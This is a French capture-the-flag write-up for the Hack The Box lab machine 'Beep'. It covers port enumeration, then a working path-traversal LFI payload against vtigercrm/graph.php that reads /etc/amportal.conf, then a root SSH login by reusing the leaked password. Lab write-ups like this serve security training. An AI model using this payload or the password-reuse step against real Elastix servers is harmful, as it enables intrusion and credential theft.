[info]

**Introduction**

La machine distante est un Linux dont l’adresse IP est 10.10.10.7. Beep contient beaucoup de ports et services ouverts, ce qui peut rendre hésitant concernant le chemin faillible.

Compétences mises en œuvre :

* Enumération des ports et services.
* Enumération des fichiers/dossiers d’un serveur web.
* Recherche et exploitation de CVE/exploit

**Enumération**

Nous commençons avec une énumération de ports et services avec nmap :

|  |
| --- |
| $ nmap -T4 -A 10.10.10.7 |

[nmap]

Beaucoup de ports sont ouverts, pour l’instant nous allons nous concentrer sur les ports 80 et 443, le service associé est un apache httpd en version 2.2.3. Avant de faire l’énumération de dossiers et fichiers, nous faisons un rapide tour sur le site :

Avec ces informations, nous pouvons rechercher un exploit avec searchsploit :

|  |
| --- |
| $ searchsploit -w Elastix |

[searchsploit]

L’exploit 37637 permet une LFI, ce qui nous permettrait de lire/d’exploiter des fichiers du serveur.

**Exploitation**

Nous allons donc sur le lien suivant pour savoir comment exécuter notre LFI : <https://www.exploit-db.com/exploits/37637/>

D’après l’explication, il suffit d’exécuter la commande suivante pour lister les utilisateurs :

|  |
| --- |
| /vtigercrm/graph.php?current\_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action |

En complétant avec nos informations, cela donne le payload suivant :

|  |
| --- |
| $ curl https://10.10.10.7/vtigercrm/graph.php?current\_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action |

[curl]

Nous avons donc un identifiant et mot de passe, nous pouvons essayer d’utiliser le même mot de passe pour les autres utilisateurs en ssh :

|  |
| --- |
| $ ssh root@10.10.10.7 |

[ssh]

Ici nous avons du password re-use, ce qui nous permet d’être root sur la machine, nous finissons par aller chercher les flags pour finir la box :

|  |
| --- |
| $ cat /home/fanis/user.txt  $ cat /root/root.txt |

[flag]